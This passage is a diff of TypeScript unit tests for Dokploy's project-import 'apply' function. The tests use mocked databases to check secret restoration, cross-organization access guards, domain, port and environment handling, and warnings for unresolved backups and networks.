resolutions: { + [vaultKey]: { + requirementKey: vaultKey, + action: "reuse", + targetId: "vault-dest-1", + }, + [registryKey]: { + requirementKey: registryKey, + action: "reuse", + targetId: "registry-dest-1", + }, + }, + }, + ); + + const insertedByTable = new Map[]>(); + let counter = 0; + const idFieldByTable = new Map([ + [projects, "projectId"], + [applications, "applicationId"], + [domains, "domainId"], + [mounts, "mountId"], + [ports, "portId"], + [security, "securityId"], + ]); + const environmentsTable = (await import("@dokploy/server/db/schema")) + .environments; + idFieldByTable.set(environmentsTable, "environmentId"); + + const vaultUpdates: Record[] = []; + + const writeDb = { + query: { + vaultProvider: { + findFirst: async () => ({ + vaultProviderId: "vault-dest-1", + name: "prod", + organizationId: "org-dest", + assignments: [], + }), + }, + registry: { + findFirst: async () => ({ + registryId: "registry-dest-1", + organizationId: "org-dest", + }), + }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const idField = idFieldByTable.get(table); + const row = { ...values }; + if (idField) { + row[idField] = + (values[idField] as string | undefined) ?? + `new-${idField}-${++counter}`; + } + const list = insertedByTable.get(table) ?? []; + list.push(row); + insertedByTable.set(table, list); + return { returning: async () => [row] }; + }, + }), + update: (table: unknown) => ({ + set: (values: Record) => ({ + where: async () => { + if (table === vaultProvider) { + vaultUpdates.push(values); + } + }, + }), + }), + transaction: async (fn: (tx: unknown) => Promise) => { + const tx = { ...writeDb }; + return fn(tx); + }, + } as any as TransferWriteDb; + + const result = await apply( + writeDb, + snapshot, + plan, + captureResult.secretsPlain, + "org-dest", + ); + + const insertedApplications = insertedByTable.get(applications) ?? []; + expect(insertedApplications).toHaveLength(1); + const insertedApp = insertedApplications[0] as Record; + expect(insertedApp.registryId).toBe("registry-dest-1"); + expect(insertedApp.env).toBe( + "DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token", + ); + expect(String(insertedApp.env)).not.toContain("$secret:"); + + const insertedDomains = insertedByTable.get(domains) ?? []; + expect(insertedDomains).toHaveLength(1); + expect(insertedDomains[0]?.applicationId).toBe(insertedApp.applicationId); + + const insertedMounts = insertedByTable.get(mounts) ?? []; + expect(insertedMounts[0]?.content).toBe("server { listen 80; }"); + + const insertedSecurity = insertedByTable.get(security) ?? []; + expect(insertedSecurity[0]?.password).toBe("basicauthpass"); + + const insertedPorts = insertedByTable.get(ports) ?? []; + expect(insertedPorts).toHaveLength(1); + + const serialized = JSON.stringify(insertedByTable.get(applications)); + expect(serialized).not.toContain("$secret:"); + + expect(vaultUpdates).toHaveLength(1); + const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record< + string, + unknown + >; + expect( + (vaultUpdates[0]?.assignments as { projectId: string }[]).map( + (a) => a.projectId, + ), + ).toContain(projectRow.projectId); + + expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId); + expect(result.idMap.application?.["app-1"]).toBe(insertedApp.applicationId); + }); +}); + +describe("apply cross-org IDOR guards (T-6.1/T-6.2)", () => { + const minimalSnapshot = ( + requirements: Snapshot["requirements"], + ): Snapshot => ({ + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [], + services: [], + shared: {}, + }, + requirements, + warnings: [], + dumps: [], + }); + + const minimalWriteDb = ( + queryOverrides: Record, + ): TransferWriteDb => { + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + ...queryOverrides, + }, + insert: () => ({ + values: (values: Record) => ({ + returning: async () => [ + { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }, + ], + }), + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + }; + return writeDb as any as TransferWriteDb; + }; + + it("refuses to reuse a destination belonging to a different organization", async () => { + const requirement = { + kind: "destination" as const, + originalId: "dest-src", + configIncluded: false, + usedBy: [], + name: "s3-backups", + provider: "s3" as const, + bucket: "my-bucket", + endpoint: "https://s3.example.com", + region: "us-east-1", + }; + const snapshot = minimalSnapshot([requirement]); + const key = requirementKey(requirement); + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + [key]: { + requirementKey: key, + action: "reuse" as const, + targetId: "dest-other-org", + }, + }, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + const writeDb = minimalWriteDb({ + destinations: { + findFirst: async () => ({ + destinationId: "dest-other-org", + organizationId: "org-OTHER", + }), + }, + }); + + await expect( + apply(writeDb, snapshot, plan, new Map(), "org-dest"), + ).rejects.toThrow(/not found in this organization/); + }); + + it("refuses to reuse a gitProvider belonging to a different organization", async () => { + const requirement = { + kind: "gitProvider" as const, + originalId: "gp-src", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application" as const, + serviceName: "my-app", + environmentId: "env-1", + }, + ], + providerType: "github" as const, + repositories: [], + }; + const snapshot = { + ...minimalSnapshot([requirement]), + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + }, + ], + shared: {}, + }, + }; + const key = requirementKey(requirement); + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + [key]: { + requirementKey: key, + action: "reuse" as const, + targetId: "gp-other-org", + }, + }, + serverMap: {}, + appNameMap: { "my-app-abc123": "my-app-new" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + const writeDb = minimalWriteDb({ + gitProvider: { + findFirst: async () => ({ + gitProviderId: "gp-other-org", + organizationId: "org-OTHER", + }), + }, + }); + + await expect( + apply(writeDb, snapshot, plan, new Map(), "org-dest"), + ).rejects.toThrow(/not found in this organization/); + }); + + it("refuses to reuse a server belonging to a different organization", async () => { + const requirement = { + kind: "server" as const, + originalId: "server-src-1", + configIncluded: false, + usedBy: [], + }; + const snapshot = minimalSnapshot([requirement]); + const key = requirementKey(requirement); + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + [key]: { + requirementKey: key, + action: "reuse" as const, + targetId: "server-other-org", + }, + }, + serverMap: { "server-src-1": "server-other-org" }, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + const writeDb = minimalWriteDb({ + server: { + findFirst: async () => ({ + serverId: "server-other-org", + organizationId: "org-OTHER", + }), + }, + }); + + await expect( + apply(writeDb, snapshot, plan, new Map(), "org-dest"), + ).rejects.toThrow(/not found in this organization/); + }); + + it("refuses to import into an existing project belonging to a different organization", async () => { + const snapshot = minimalSnapshot([]); + const plan = { + target: { + kind: "existingProject" as const, + projectId: "project-other-org", + environmentName: "imported", + }, + resolutions: {}, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + const writeDb = minimalWriteDb({ + projects: { + findFirst: async () => ({ + projectId: "project-other-org", + organizationId: "org-OTHER", + }), + }, + }); + + await expect( + apply(writeDb, snapshot, plan, new Map(), "org-dest"), + ).rejects.toThrow(/not found in this organization/); + }); + + it("does not reject the local-server sentinel as if it were a foreign server", async () => { + const requirement = { + kind: "server" as const, + originalId: "server-src-1", + configIncluded: false, + usedBy: [], + }; + const snapshot = minimalSnapshot([requirement]); + const key = requirementKey(requirement); + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + [key]: { + requirementKey: key, + action: "reuse" as const, + targetId: LOCAL_SERVER_CANDIDATE_ID, + }, + }, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + const writeDb = minimalWriteDb({}); + + await expect( + apply(writeDb, snapshot, plan, new Map(), "org-dest"), + ).resolves.toBeDefined(); + }); +}); + +describe("apply: importing into an existing project (T-6.5)", () => { + it("creates one destination environment per source environment, each with its own env-level secrets restored", async () => { + const { environments: environmentsTable } = await import( + "@dokploy/server/db/schema" + ); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [ + { + environmentId: "env-1", + name: "production", + env: "SECRET_KEY=$secret:env-secret-1", + }, + { + environmentId: "env-2", + name: "staging", + env: "SECRET_KEY=$secret:env-secret-2", + }, + ], + services: [], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const plan = { + target: { + kind: "existingProject" as const, + projectId: "project-existing", + environmentName: "imported", + }, + resolutions: {}, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const insertedEnvironments: Record[] = []; + let counter = 0; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + projects: { + findFirst: async () => ({ + projectId: "project-existing", + organizationId: "org-dest", + }), + }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { ...values, environmentId: `new-env-${++counter}` }; + if (table === environmentsTable) insertedEnvironments.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const secretsPlain = new Map([ + ["env-secret-1", "prod-value"], + ["env-secret-2", "staging-value"], + ]); + + await apply(writeDb, snapshot, plan, secretsPlain, "org-dest"); + + expect(insertedEnvironments).toHaveLength(2); + expect(insertedEnvironments[0]?.name).toBe("imported"); + expect(insertedEnvironments[0]?.env).toBe("SECRET_KEY=prod-value"); + expect(insertedEnvironments[1]?.name).toBe("imported-staging"); + expect(insertedEnvironments[1]?.env).toBe("SECRET_KEY=staging-value"); + expect(insertedEnvironments[0]?.environmentId).not.toBe( + insertedEnvironments[1]?.environmentId, + ); + }); +}); + +describe("apply rewrites an auto-generated sslip.io domain's IP for the destination server (T-6.8)", () => { + it("rewrites the embedded IP using the destination server's ipAddress", async () => { + const { domains: domainsTable } = await import("@dokploy/server/db/schema"); + + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "my-app-abc123", + environmentId: "env-1", + serverId: "server-src-1", + domains: [ + { + domainId: "dom-1", + host: "my-app-abc123-ab12cd-10-0-0-5.sslip.io", + }, + ], + }, + ], + shared: {}, + }, + requirements: [ + { + kind: "server", + originalId: "server-src-1", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "my-app", + environmentId: "env-1", + field: "serverId", + }, + ], + }, + ], + warnings: [], + dumps: [], + }; + + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: { "server-src-1": "server-dest-1" }, + appNameMap: { "my-app-abc123": "my-app-xyz789" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const insertedDomains: Record[] = []; + const writeDb = { + query: { + server: { + findFirst: async () => ({ + ipAddress: "203.0.113.9", + organizationId: "org-dest", + }), + }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }; + if (table === domainsTable) insertedDomains.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + + expect(insertedDomains).toHaveLength(1); + expect(insertedDomains[0]?.host).toBe( + "my-app-xyz789-ab12cd-203-0-113-9.sslip.io", + ); + }); +}); + +describe("apply honors plan.portsStrategy (T-6.10)", () => { + const snapshotWithPort: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "my-app-abc123", + environmentId: "env-1", + ports: [ + { portId: "port-1", publishedPort: 8080, publishMode: "host" }, + ], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const basePlan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-app-abc123": "my-app-xyz789" }, + domainStrategy: { custom: "keep" as const }, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const runApplyTrackingPorts = async (portsStrategy: "keep" | "disable") => { + const { ports: portsTable } = await import("@dokploy/server/db/schema"); + const insertedPorts: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }; + if (table === portsTable) insertedPorts.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply( + writeDb, + snapshotWithPort, + { ...basePlan, portsStrategy }, + new Map(), + "org-dest", + ); + return insertedPorts; + }; + + it("inserts the published port row when portsStrategy is 'keep'", async () => { + const insertedPorts = await runApplyTrackingPorts("keep"); + expect(insertedPorts).toHaveLength(1); + }); + + it("inserts nothing when portsStrategy is 'disable'", async () => { + const insertedPorts = await runApplyTrackingPorts("disable"); + expect(insertedPorts).toHaveLength(0); + }); +}); + +describe("apply's conflictingHosts override checks the final, post-strategy host (T-6.14)", () => { + const snapshotWithDomain: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "my-app-abc123", + environmentId: "env-1", + domains: [{ domainId: "dom-1", host: "api.example.com" }], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const conflicts = [ + { + kind: "domain" as const, + value: "api.example.com", + existingId: "dom-existing-1", + usedBy: [], + options: ["rename" as const], + }, + ]; + + const runApplyTrackingDomains = async ( + domainStrategy: Plan["domainStrategy"], + ) => { + const { domains: domainsTable } = await import("@dokploy/server/db/schema"); + const insertedDomains: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }; + if (table === domainsTable) insertedDomains.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-app-abc123": "my-app-xyz789" }, + domainStrategy, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts, + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + await apply(writeDb, snapshotWithDomain, plan, new Map(), "org-dest"); + return insertedDomains; + }; + + it("inserts the prefixed host enabled, even though the bare host is a known conflict", async () => { + const insertedDomains = await runApplyTrackingDomains({ + custom: "prefix", + value: "staging-", + }); + expect(insertedDomains).toHaveLength(1); + expect(insertedDomains[0]?.host).toBe("staging-api.example.com"); + expect(insertedDomains[0]?.enabled).toBe(true); + }); + + it("still disables a 'keep' domain whose host really is the conflicting one", async () => { + const insertedDomains = await runApplyTrackingDomains({ custom: "keep" }); + expect(insertedDomains).toHaveLength(1); + expect(insertedDomains[0]?.host).toBe("api.example.com"); + expect(insertedDomains[0]?.enabled).toBe(false); + }); +}); + +describe("apply preserves a domain's own disabled state (T-11.1)", () => { + const snapshotWithDisabledDomain: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + appName: "my-app-abc123", + environmentId: "env-1", + domains: [ + { + domainId: "dom-1", + host: "old-staging.example.com", + enabled: false, + }, + ], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const runApplyWithStrategy = async ( + domainStrategy: Plan["domainStrategy"], + ) => { + const { domains: domainsTable } = await import("@dokploy/server/db/schema"); + const insertedDomains: Record[] = []; + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + const row = { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + applicationId: "new-app-1", + }; + if (table === domainsTable) insertedDomains.push(row); + return { returning: async () => [row] }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-app-abc123": "my-app-xyz789" }, + domainStrategy, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + await apply( + writeDb, + snapshotWithDisabledDomain, + plan, + new Map(), + "org-dest", + ); + return insertedDomains; + }; + + it("keeps a source-disabled domain disabled under the 'keep' strategy", async () => { + const insertedDomains = await runApplyWithStrategy({ custom: "keep" }); + expect(insertedDomains[0]?.enabled).toBe(false); + }); + + it("keeps a source-disabled domain disabled under the 'prefix' strategy", async () => { + const insertedDomains = await runApplyWithStrategy({ + custom: "prefix", + value: "staging-", + }); + expect(insertedDomains[0]?.host).toBe("staging-old-staging.example.com"); + expect(insertedDomains[0]?.enabled).toBe(false); + }); +}); + +describe("apply surfaces dropped backups/volume backups as a warning (T-6.15)", () => { + it("warns with BACKUP_DESTINATION_UNRESOLVED when a compose's backup/volumeBackup destinationId never resolved", async () => { + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "compose", + composeId: "compose-1", + name: "my-compose", + appName: "my-compose-abc123", + environmentId: "env-1", + backups: [ + { + backupId: "backup-1", + destinationId: "dest-unresolved", + schedule: "0 0 * * *", + }, + ], + volumeBackups: [ + { + volumeBackupId: "vb-1", + destinationId: "dest-unresolved", + volumeName: "my-compose-abc123-data", + }, + ], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-compose-abc123": "my-compose-xyz789" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + }, + insert: () => ({ + values: (values: Record) => ({ + returning: async () => [ + { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + composeId: "new-compose-1", + }, + ], + }), + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + + const backupWarning = result.warnings.find( + (w) => w.code === "BACKUP_DESTINATION_UNRESOLVED", + ); + expect(backupWarning).toBeDefined(); + expect(backupWarning?.message).toContain("2"); + expect(backupWarning?.affected).toContainEqual( + expect.objectContaining({ serviceType: "compose" }), + ); + }); + + it("regenerates a backup's appName instead of reinserting the source one verbatim, retrying on collision", async () => { + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "compose", + composeId: "compose-1", + name: "my-compose", + appName: "my-compose-abc123", + environmentId: "env-1", + backups: [ + { + backupId: "backup-1", + destinationId: "dest-1", + appName: "backup-my-compose-745drl", + schedule: "0 0 * * *", + }, + ], + volumeBackups: [], + }, + ], + shared: {}, + }, + requirements: [ + { + kind: "destination", + originalId: "dest-1", + configIncluded: true, + usedBy: [], + bucket: "b", + endpoint: "e", + region: "r", + }, + ], + warnings: [], + dumps: [], + }; + + const destinationRequirement = snapshot.requirements[0]!; + + const plan = { + target: { kind: "newProject" as const, name: "imported" }, + resolutions: { + [requirementKey(destinationRequirement)]: { + requirementKey: requirementKey(destinationRequirement), + action: "reuse" as const, + targetId: "dest-1-new", + }, + }, + serverMap: {}, + appNameMap: { "my-compose-abc123": "my-compose-xyz789" }, + domainStrategy: { custom: "keep" as const }, + portsStrategy: "keep" as const, + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, + }; + + const insertedBackupAppNames: string[] = []; + let findFirstCalls = 0; + + const writeDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + github: { findFirst: async () => undefined }, + gitlab: { findFirst: async () => undefined }, + gitea: { findFirst: async () => undefined }, + bitbucket: { findFirst: async () => undefined }, + destinations: { + findFirst: async () => ({ organizationId: "org-dest" }), + }, + backups: { + findFirst: async () => { + findFirstCalls++; + return findFirstCalls === 1 + ? { backupId: "existing", appName: "taken" } + : undefined; + }, + }, + }, + insert: (table: unknown) => ({ + values: (values: Record) => { + if (table === backups && typeof values.appName === "string") { + insertedBackupAppNames.push(values.appName); + } + return { + returning: async () => [ + { + ...values, + projectId: "new-project-1", + environmentId: "new-env-1", + composeId: "new-compose-1", + }, + ], + }; + }, + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...writeDb }), + } as any as TransferWriteDb; + + await apply(writeDb, snapshot, plan, new Map(), "org-dest"); + + expect(findFirstCalls).toBeGreaterThanOrEqual(2); + expect(insertedBackupAppNames).toHaveLength(1); + expect(insertedBackupAppNames[0]).not.toBe("backup-my-compose-745drl"); + expect(insertedBackupAppNames[0]).not.toBe("taken"); + }); + + it("warns with NETWORK_UNRESOLVED when an application's networkId never resolved", async () => { + const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "application", + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + networkIds: ["net-unresolved"], + }, + ], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], + }; + + const plan = { + target: { kind: "newProject" as const, name: 